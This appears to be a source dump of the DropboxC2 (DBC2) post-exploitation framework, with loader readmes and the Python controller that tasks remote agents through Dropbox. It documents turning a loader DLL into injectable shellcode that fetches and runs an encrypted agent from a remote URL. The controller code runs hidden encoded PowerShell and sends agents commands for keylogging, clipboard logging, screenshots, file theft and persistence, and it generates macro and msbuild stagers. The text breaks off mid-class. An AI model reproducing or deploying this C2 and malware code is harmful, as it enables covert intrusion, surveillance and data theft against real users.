\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
const unsigned int dbc2LoaderDLL_len = 4608;

#endif

================================================
FILE: dbc2Loader/nativeWrapper/readme.md
================================================
nativeWrapper
============
**dbc2LoaderWrapperCLR** is a unamanaged DLL that loads the .Net CLR in memory at runtime, then loads the dbc2Loader .Net assembly from memory and finally invoke a dbc2Loader specific method (*to match a specific function prototype required by InvokeMember_3 method*).

The dbc2Loader assembly is hardcoded as an array of bytes in the `dbc2LoaderWrapperCLR.h` file.

The sole purpose of this DLL is to get a unmanaged DLL hosting the dbc2Loader .Net assembly in order to be later converted into position independant shellcode through the use of sRDI (https://github.com/monoxgas/sRDI).


How to compile the nativeWrapper DLL
----------------
You'll need Visual Studio (express is ok as well):

```
====== x86 (32 bits) DLL:
	1/ First, run the following bat file:
		"c:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin\vcvars32.bat"

	2/ Then compile it using
		c:\> cl.exe /LD dbc2LoaderWrapperCLR.cpp /o release_x86\dbc2LoaderWrapperCLR_x86.dll
	
====== x64 (64 bits) DLL:
		1/ First, run the following bat file:
		"C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin\x86_amd64\vcvarsx86_amd64.bat"

	2/ Then compile it using
		c:\> cl.exe /LD dbc2LoaderWrapperCLR.cpp /o release_x64\dbc2LoaderWrapperCLR_x64.dll
```

How to convert the DLL to shellcode with sRDI
----------------

You'll have to use a slightly modified version of the powershell `ConvertTo-Shellcode.ps1` script that is provided in this repository. You'll need the x86 and/or x64 compiled nativeWrapper.dll file.

Then use the powershell script like this:

```
c:\> powershell.exe
PS c:\> ipmo ConvertTo-Shellcode.ps1

PS c:\> #x86 DLL 
PS c:\> ConvertTo-Shellcode -File release_x86\dbc2LoaderWrapperCLR_86.dll -UserData "<all required parameters for the dbc2Loader entryPoint function>" | Set-Content -Path dbc2LoaderWrapperCLR_x86.bin -Encoding Byte

PS c:\> #x64 DLL 
PS c:\> ConvertTo-Shellcode -File release_x64\dbc2LoaderWrapperCLR_64.dll -UserData "<all required parameters for the dbc2Loader entryPoint function>" | Set-Content -Path dbc2LoaderWrapperCLR_x86.bin -Encoding Byte
```

**IMPORTANT**: Using the ConvertTo-Shellcode.ps1 script, it is important to note that the dbc2Loader parameters must be passed in one single string with a `!` separator, like for instance:
`https://dropbox.com/path_to_dbc2_agent!xorkey!accessToken!masterkey`
Those parameters are just like to one you would find in any other DBC2 stager.

The resulting bin file are the shellcode that you're free to inject in any process using your prefered method.

Have fun !

Credits
-------------
Lee Christensen for creating and hosting the CLR in native code, then loading and executing a .Net assembly
https://github.com/leechristensen/UnmanagedPowerShell

Nick Landers for sRDI, used for transforming a native DLL to position independant shellcode 
https://github.com/monoxgas/sRDI

================================================
FILE: dbc2Loader/readme.md
================================================
dbc2Loader
============
**dbc2Loader** is a small .Net assembly that acts as a lightweight and simple wrapper for the DBC2 agent, performing the following tasks:
  1. Download the DBC2 agent assembly from a remote URL (*normally a dropbox URL of the published stage obtained from the DBC2 controller*)
  2. Decrypt the DBC2 agent assembly in memory
  3. Load the DBC2 agent assembly in memory
  4. Instantiate the DBC2 agent

It is currently useful for two things:

  1/  It can be loaded through DotNetToJScript, which gives us a new JScript loader for the DBC2 agent: javascript2 stager which already contains the dbc2Loader.dll serialized object (*so you don't have to compile it on your own*).

  2/  Can be loaded through the use of a native wrapper DLL hosting the .Net CLR (*also provided in the ./nativeWrapper directory*), then this native wrapper DLL can be transformed into a position independant shellcode thanks to sRDI. This allows for injecting the DBC2 agent in virtually any process !! Be sure to check instructions in the nativeWrapper CPP file header on how to compile, transform with sRDI and use it !

================================================
FILE: dropboxC2.py
================================================
#!/usr/bin/python
# -*- coding: utf8 -*-
#
# Author: Arno0x0x - https://twitter.com/Arno0x0x
#
# This tool is distributed under the terms of the [GPLv3 licence](http://www.gnu.org/copyleft/gpl.html)

"""

The main controller for the DropboxC2 agents.

"""
import config as cfg
import getpass
import pyscrypt
import os
from lib import helpers
from lib import console
from lib import dropboxHandler
from lib import statusHandler
from lib import mainHandler
from lib import agentHandler
from lib import pollingThread

# make version and author for DropboxC2
VERSION = "0.2.4"
AUTHOR = "Arno0x0x - https://twitter.com/Arno0x0x"

#****************************************************************************************
# MAIN Program
#****************************************************************************************
if __name__ == '__main__':
	helpers.printBanner()

	print helpers.color("[*] DropboxC2 controller - Author: {} - Version {}".format(AUTHOR, VERSION))

	#------------------------------------------------------------------------------
	# An access token is required to access the Dropbox API. If none is provided in the config file, ask the user to provide one
	if not hasattr(cfg, 'defaultAccessToken'):
		accessToken = ""
	else:
		accessToken = cfg.defaultAccessToken

	if accessToken is "":
		while True:
			accessToken = raw_input("[SETUP] Enter your Dropbox API access token: ")
			if accessToken == "":
				print helpers.color("[!] You must specify a Dropbox API access token. It is a mandatory settings")
			else:
				break
	else:
		print helpers.color("[*][CONFIG] Using Dropbox API access token from configuration file")
	
	#------------------------------------------------------------------------------
	# A master crypto key is required to perform end-to-end encryption of all data exchanged between the agent and the controller.
	# The master crypto key is derived from a user provided password.
	# If no master crypto key is found in the config file, ask the user to provide a password and derive the key from it
	if not hasattr(cfg, 'defaultMasterKey'):
		masterKey = ""
	else:
		masterKey = cfg.defaultMasterKey

	if masterKey is "":
		while True:
			password = getpass.getpass("[SETUP] Enter the master password used to encrypt all data between the agents and the controler: ")
			if password == "":
				print helpers.color("[!] You must specify a master password. It is a mandatory settings")
			else:
				# Derive a 16 bytes (128 bits) master key from the provided password
				masterKey = pyscrypt.hash(password, "saltmegood", 1024, 1, 1, 16)
				print helpers.color("[+] Derived master key from password: [{}]\nYou can save it in the config file to reuse it automatically next time".format(helpers.b64encode(masterKey)))
				break
	else:
		masterKey = helpers.b64decode(masterKey)
		print helpers.color("[*][CONFIG] Using master key from configuration file")
		
	#------------------------------------------------------------------------------
	# Check that required directories and path are available, if not create them
	if not os.path.isdir(cfg.defaultPath['incoming']):
		os.makedirs(cfg.defaultPath['incoming'])
		print helpers.color("[+] Creating [{}] directory for incoming files".format(cfg.defaultPath['incoming']))
	
	#------------------------------------------------------------------------------
	# Create a dropbox handler
	dropboxHandler = dropboxHandler.DropboxHandler(accessToken)

	# Create a status handler
	statusHandler = statusHandler.StatusHandler(masterKey)

	# Create a mainHandler
	mainHandler = mainHandler.MainHandler(dropboxHandler, statusHandler)

	# Create an AgentHandler
	agentHandler = agentHandler.AgentHandler(dropboxHandler, statusHandler)
	
	# Start the main background polling thread
	print helpers.color("[*] Starting Polling thread")
	pollingThread = pollingThread.PollingThread(dropboxHandler, statusHandler)
	pollingThread.doPoll()
	
	# Print the list of discoverd agents
	helpers.printAgentList(statusHandler.agentList)
	
	#--------------------------------------------------------------------------
	# Main command loop
	#--------------------------------------------------------------------------
	mainMenu = console.MainMenu(mainHandler, agentHandler, statusHandler)
	while True:
		try:
			mainMenu.cmdloop()
		#----------------------------------------------------------------------
		# handle ctrl+c's
		except KeyboardInterrupt as e:
			try:
				choice = raw_input(helpers.color("\n[>] Exit? [y/N] ", "red"))
				if choice.lower() != "" and choice.lower()[0] == "y":
					pollingThread.stopPollingThread()
					print helpers.color("[>] Stopping polling thread. Please wait...","red")
					quit()
				else:
					continue
			except KeyboardInterrupt as e:
				continue


================================================
FILE: lib/__init__.py
================================================


================================================
FILE: lib/agentHandler.py
================================================
# -*- coding: utf8 -*-
import config as cfg
from lib import helpers
from lib import stagers
from lib.crypto import Crypto
import os.path

#****************************************************************************************
# Class handling high level interactions with agents
#****************************************************************************************
class AgentHandler:
	""" This class provides all functions to task remote agents
	"""
		
	#------------------------------------------------------------------------------------
	def __init__(self, dropboxHandler, statusHandler):
		self.dropboxHandler = dropboxHandler
		self.statusHandler = statusHandler
		self.agentID = None
			
	#------------------------------------------------------------------------------------
	def taskAgentWithCLI(self, cmd):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "runCLI", args = [cmd])
		
		# Prepare the task format, then put the task into the command file
		data = "runCLI\n{}\n{}\n{}".format(task['id'], cmd, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))

		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))

	#------------------------------------------------------------------------------------
	def taskAgentWithShell(self, cmd):
		# Prepare the task format, then put the task into the command file
		data = "shell\n{}\n{}\n{}".format("n/a",cmd,helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))

		if r is not None:
			print helpers.color("[+] Agent with ID [{}] has been tasked with shell command".format(self.agentID))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))

	#------------------------------------------------------------------------------------
	def taskAgentWithRunPSModule(self, moduleName, moduleArgs=None, interact = False):

		# Construct the powershell code from a template, substituting palceholders with proper parameters
		xorKey = Crypto.convertKey(self.statusHandler.masterKey, outputFormat = "sha256")
		parameters = {'xorKey': xorKey, 'moduleURL': self.statusHandler.publishedModuleList[moduleName]}
		poshCmd = helpers.convertFromTemplate(parameters, cfg.defaultPath['runPSModuleTpl'])
		if poshCmd == None: return

		# Add module arguments if ever
		if moduleArgs:
			poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format(moduleArgs)

		# If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode
		if interact:
			self.taskAgentWithShell(poshCmd)
		else:
			task = self.statusHandler.createTask(self.agentID, "runPSModule", args = [moduleName, moduleArgs])

			# Turn the powershell code into a suitable powershell base64 encoded one line command
			base64Payload = helpers.powershellEncode(poshCmd)
			
			# Create the final command
			cmd = "powershell.exe -NoP -sta -NonI -W Hidden -Enc {}".format(base64Payload)
			
			# Prepare the task format, then put the task into the command file
			data = "runCLI\n{}\n{}\n{}".format(task['id'],cmd,helpers.randomString(16))
			r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))

			if r is not None:
				# Commit this task for the current agent
				self.statusHandler.commitTask(task)
				print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
			else:
				print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))

	#------------------------------------------------------------------------------------
	def taskAgentWithLaunchProcess(self, exePath, parameters):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "launchProcess", args = [exePath, parameters])
		
		# Prepare the task format, then put the task into the command file
		data = "launchProcess\n{}\n{}\n{}\n{}".format(task['id'],exePath, parameters,helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))

		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))
		
	#------------------------------------------------------------------------------------
	def taskAgentWithSendFile(self, localFile, destinationPath):
		# Creating the remote file path (used on the DropBox API server)
		fileName = os.path.basename(localFile)
		remoteFilePath = "/" + self.agentID + ".rsc"
		
		# First upload the localFile to DropBox
		try:
			with open(localFile) as fileHandle:
				print helpers.color("[*] Uploading file [{}] to [{}]".format(localFile, remoteFilePath))
				r = self.dropboxHandler.putFile(remoteFilePath, fileHandle.read())
				fileHandle.close()
				
				if r is None:
					return
		except IOError:
			print helpers.color("[!] Could not open or read file [{}]".format(localFile))
			return
		
		# Once the local file is properly uploaded, proceed with tasking the agent
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "sendFile", args = [localFile, destinationPath])
		
		# Prepare the task format, then put the task into the command file
		data = "downloadFile\n{}\n{}\n{}\n{}\n{}".format(task['id'], remoteFilePath, destinationPath, fileName, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))
	
	#------------------------------------------------------------------------------------
	def taskAgentWithGetFile(self, agentLocalFile):
			
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "getFile", args = [agentLocalFile])
		
		# Prepare the task format, then put the task into the command file
		data = "sendFile\n{}\n{}\n{}".format(task['id'], agentLocalFile, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))
	
	#------------------------------------------------------------------------------------
	def taskAgentWithSleep(self, sleepAmount):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "sleep", args = [str(sleepAmount)])
		
		# Prepare the task format, then put the task into the command file
		data = "sleep\n{}\n{}\n{}".format(task['id'], sleepAmount, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))
			
	#------------------------------------------------------------------------------------
	def taskAgentWithNewPolling(self, period, deviation):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "polling", args = [str(period), str(deviation)])
		
		# Prepare the task format, then put the task into the command file
		data = "polling\n{}\n{}\n{}".format(task['id'], period, deviation, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))
	
	#------------------------------------------------------------------------------------
	def taskAgentWithScreenshot(self):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "screenshot")
		
		# Prepare the task format, then put the task into the command file
		data = "screenshot\n{}\n{}".format(task['id'], helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))

	#------------------------------------------------------------------------------------
	def taskAgentWithKeylogger(self, action):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "keylogger", args = [action])
		
		# Prepare the task format, then put the task into the command file
		data = "keylogger\n{}\n{}\n{}".format(task['id'], action, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))

	#------------------------------------------------------------------------------------
	def taskAgentWithClipboardLogger(self, action):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "clipboardlogger", args = [action])
		
		# Prepare the task format, then put the task into the command file
		data = "clipboardlogger\n{}\n{}\n{}".format(task['id'], action, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))


	#------------------------------------------------------------------------------------
	def taskAgentWithSendKeystrokes(self, procName, keyStrokes):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "sendkeystrokes", args = [procName, keyStrokes])
		
		# Prepare the task format, then put the task into the command file
		data = "sendkeystrokes\n{}\n{}\n{}\n{}".format(task['id'], procName, keyStrokes, helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))

	#------------------------------------------------------------------------------------
	def taskAgentWithPersist(self):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "persist")
		
		# Prepare the task format, then put the task into the command file
		data = "persist\n{}\n{}".format(task['id'], helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))

	#------------------------------------------------------------------------------------
	def taskAgentWithStop(self):
		# Create a task
		task = self.statusHandler.createTask(self.agentID, "stop")
		
		# Prepare the task format, then put the task into the command file
		data = "stop\n{}\n{}".format(task['id'], helpers.randomString(16))
		r = self.dropboxHandler.putFile(self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'), Crypto.encryptData(data, self.statusHandler.masterKey))
		
		if r is not None:
			# Commit this task for the current agent
			self.statusHandler.commitTask(task)
			print helpers.color("[+] Agent with ID [{}] has been tasked with task ID [{}]".format(self.agentID, task['id']))
		else:
			print helpers.color("[!] Error tasking agent with ID [{}]".format(self.agentID))


================================================
FILE: lib/console.py
================================================
# -*- coding: utf8 -*-
import config as cfg
from lib import helpers
import readline
import cmd
import os.path
from sys import platform as _platform

# Fix OSX platform bug with readline library
if _platform == "darwin":
	import readline
	#import rlcompleter
	if 'libedit' in readline.__doc__:
	    readline.parse_and_bind("bind ^I rl_complete")
	else:
	    readline.parse_and_bind("tab: complete")

# Fix the use of the "-" as a delimiter
old_delims = readline.get_completer_delims()
readline.set_completer_delims(old_delims.replace('-', ''))

#****************************************************************************************
# Class handling console main menu interactions
#****************************************************************************************
class MainMenu(cmd.Cmd):
	
	#------------------------------------------------------------------------------------
	def __init__(self, mainHandler, agentHandler, statusHandler):
		cmd.Cmd.__init__(self)
		self.mainHandler = mainHandler
		self.agentHandler = agentHandler
		self.statusHandler = statusHandler
		self.prompt = "[main]#> "
	
	#------------------------------------------------------------------------------------	
	def do_shell(self, args):
		"""shell <os command>\nor\n! <os command>\nExecute a shell command on the local system"""
		os.system(args)
		
	#------------------------------------------------------------------------------------	
	def do_list(self, args):
		"""Show the list of all discovered agents with their current status"""
		helpers.printAgentList(self.statusHandler.agentList)
	
	#------------------------------------------------------------------------------------	
	def do_listPublishedStage(self, args):
		"""Show the list of all published stages with their public link"""
		helpers.printStageList(self.statusHandler.publishedStageList)

	#------------------------------------------------------------------------------------	
	def do_listPublishedModules(self, args):
		"""Show the list of all published modules with their public link"""
		helpers.printModuleList(self.statusHandler.publishedModuleList)
		
	#------------------------------------------------------------------------------------
	def do_use(self, args):
		"""use <agentID>\nSelect the current agent to work with. Must be an ACTIVE or SLEEPING agent"""
		
		# Checking args
		if not args:
			print helpers.color("[!] Please specify an agent ID. Command format: use <agentID>")
			return
		
		agentID = args.split()[0]

		if self.statusHandler.agentIsKnown(agentID):
			if self.statusHandler.agentIsDead(agentID):
				print helpers.color("[!] Cannot use a 'DEAD' agent. Check for ALIVE or SLEEPING agent using the 'list' command")
				return
				
			print helpers.color("[*] Using agent ID [{}]".format(agentID))
			self.agentHandler.agentID = agentID
			agentMenu = AgentMenu(self.agentHandler, self.statusHandler)
			agentMenu.cmdloop()
		else:
			print helpers.color("[!] Unkown agent ID [{}]".format(agentID))

	#------------------------------------------------------------------------------------
	def complete_use(self, text, line, startidx, endidx):
		return [agentID for agentID in self.statusHandler.agentList if self.statusHandler.agentIsAlive(agentID) and agentID.startswith(text)]
	
	#------------------------------------------------------------------------------------
	def do_publishStage(self, args):
		"""publishStage <agent stage> [stage name]\nPublish an agent stage on the C2 server.\nAn optionnal name can be provided to distinguish between various published stages"""

		# Checking args
		if not args:
			print helpers.color("[!] Please specify a stage file. Command format: publishStage <agent stage> [stage name]")
			return

		arguments = args.split()
		agentStageFile = arguments[0]		
		stageName = arguments[1] if len(arguments) > 1 else "default"

		agentPath = os.path.join(cfg.defaultPath['agentRelease'], agentStageFile)
		if not os.path.isfile(agentPath):
			print helpers.color("[!] Unable to find stage file [{}] in the default agent release PATH".format(agentPath))
			return

		self.mainHandler.publishStage(agentPath, stageName)

	#------------------------------------------------------------------------------------
	def complete_publishStage(self, text, line, startidx, endidx):
		agentReleasePath = cfg.defaultPath['agentRelease']
		return [f for f in os.listdir(agentReleasePath) if os.path.isfile(os.path.join(agentReleasePath,f)) and f.startswith(text)]

	#------------------------------------------------------------------------------------	
	def do_deletePublishedStage(self, args):
		"""deletePublishedStage <stage name>\nDelete a published stage file from the C2 server"""
		
		# Checking args
		if not args:
			print helpers.color("[!] Please specify a stage name. Command format: deletePublishedStage <stage name>")
			return

		stageName = args.split()[0]

		if not stageName in self.statusHandler.publishedStageList:
			print helpers.color("[!] Please specify a valid stage name. You can use 'listPublishedStage' to see them")
			return

		r = raw_input(helpers.color("[?] Delete published stage [{}]? [Y/n] ".format(stageName)))
		if r.lower() in ['','y']:
			self.mainHandler.deletePublishedStage(stageName)

	#------------------------------------------------------------------------------------
	def complete_deletePublishedStage(self, text, line, startidx, endidx):
		return [a for a in self.statusHandler.publishedStageList if a.startswith(text)]

	#------------------------------------------------------------------------------------
	def do_publishModule(self, args):
		"""publishModule <module file>\nPublish a PowerShell module the C2 server so it can later be used by an agent"""

		# Checking args
		if not args:
			print helpers.color("[!] Please specify a module file. Command format: publishModule <module file>")
			return

		arguments = args.split()
		moduleFile = arguments[0]
		moduleName = os.path.splitext(moduleFile)[0]

		modulePath = os.path.join(cfg.defaultPath['modules'], moduleFile)
		if not os.path.isfile(modulePath):
			print helpers.color("[!] Unable to find module file [{}] in the default modules PATH".format(modulePath))
			return

		self.mainHandler.publishModule(modulePath, moduleName)

	#------------------------------------------------------------------------------------
	def complete_publishModule(self, text, line, startidx, endidx):
		modulePath = cfg.defaultPath['modules']
		return [f for f in os.listdir(modulePath) if os.path.isfile(os.path.join(modulePath,f)) and f.startswith(text) and f.endswith(".ps1")]

	#------------------------------------------------------------------------------------	
	def do_deletePublishedModule(self, args):
		"""deletePublishedModule <module name>\nDelete a published module file from the C2 server"""
		
		# Checking args
		if not args:
			print helpers.color("[!] Please specify a module name. Command format: deletePublishedModule <module name>")
			return

		moduleName = args.split()[0]

		if not moduleName in self.statusHandler.publishedModuleList:
			print helpers.color("[!] Please specify a valid module name. You can use 'listPublishedModule' to see them")
			return

		r = raw_input(helpers.color("[?] Delete published module [{}]? [Y/n] ".format(moduleName)))
		if r.lower() in ['','y']:
			self.mainHandler.deletePublishedModule(moduleName)

	#------------------------------------------------------------------------------------
	def complete_deletePublishedModule(self, text, line, startidx, endidx):
		return [moduleName for moduleName in self.statusHandler.publishedModuleList if moduleName.startswith(text)]

	#------------------------------------------------------------------------------------
	def do_genStager(self, args):
		"""genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>\nGenerates a stager of the selected type using a specific published stage name"""

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>")
			return

		arguments = args.split()
		if len(arguments) < 2:
			print helpers.color("[!] Missing arguments. Command format: genStager <oneliner|batch|macro|msbuild|javascript|ducky|sct> <stage name>")
			return

		stagerType = arguments[0]
		stageName = arguments[1]

		if stagerType not in ['oneliner', 'batch', 'batch2', 'macro', 'msbuild', 'javascript', 'javascript2', 'ducky', 'sct']:
			print helpers.color("[!] Invalid stager type")
			return

		if not self.statusHandler.isValidStage(stageName):
			print helpers.color("[!] Invalid stage: wrong name or no shared URL found")
			return

		self.mainHandler.genStager(stagerType, stageName)

	#------------------------------------------------------------------------------------
	def complete_genStager(self, text, line, startidx, endidx):
		result = []
		if startidx < 15:
			for stagerType in ['oneliner', 'batch', 'batch2', 'macro', 'msbuild', 'javascript', 'javascript2', 'ducky', 'sct']:
				if stagerType.startswith(text):
					result.append(stagerType)	
		else:
			stageList = [a for a in self.statusHandler.publishedStageList]
			for stageName in stageList:
				if stageName.startswith(text):
					result.append(stageName)
		return result

	#------------------------------------------------------------------------------------
	def do_genStager2(self, args):
		"""genStager2 <macro_sct>\nGenerates a stager itself based on a previously created stager using genStager"""

		# Checking args
		if not args:
			print helpers.color("[!] Missing arguments. Command format: genStager2 <macro_sct>")
			return

		arguments = args.split()
		stagerType = arguments[0]
		stagerArguments = ""

		if stagerType not in ['macro_sct']:
			print helpers.color("[!] Invalid stager type")
			return

		if stagerType in ['macro_sct']:
			stagerArguments = raw_input("[{}] Please provide a URL serving the SCT stager file the macro will use: ".format(stagerType))

		self.mainHandler.genStager2(stagerType, stagerArguments)

	#------------------------------------------------------------------------------------
	def complete_genStager2(self, text, line, startidx, endidx):
		return [s for s in ['macro_sct'] if s.startswith(text)]
		
	#------------------------------------------------------------------------------------
	def do_taskList(self, args):
		"""Show the list of all pending tasks assigned to any agent"""		
		helpers.printPendingTaskList(self.statusHandler.pendingTaskList)
			
	#------------------------------------------------------------------------------------
	def do_exit(self, args):
		"""Exit the program"""
		raise KeyboardInterrupt
		return True
		
	#------------------------------------------------------------------------------------
	def do_help(self, args):
		"""Show the help menu"""
		cmd.Cmd.do_help(self, args)
	
	#------------------------------------------------------------------------------------
	def emptyline(self):
		pass
		
	#------------------------------------------------------------------------------------
	def default(self, line):
		print (">>> Unknown command. Type 'help' or '?' to get a list of available commands.")
		
#****************************************************************************************
# Class handling console agent menu interactions
#****************************************************************************************		
class AgentMenu(cmd.Cmd):

	#------------------------------------------------------------------------------------
	def __init__(self, agentHandler, statusHandler):
		cmd.Cmd.__init__(self)
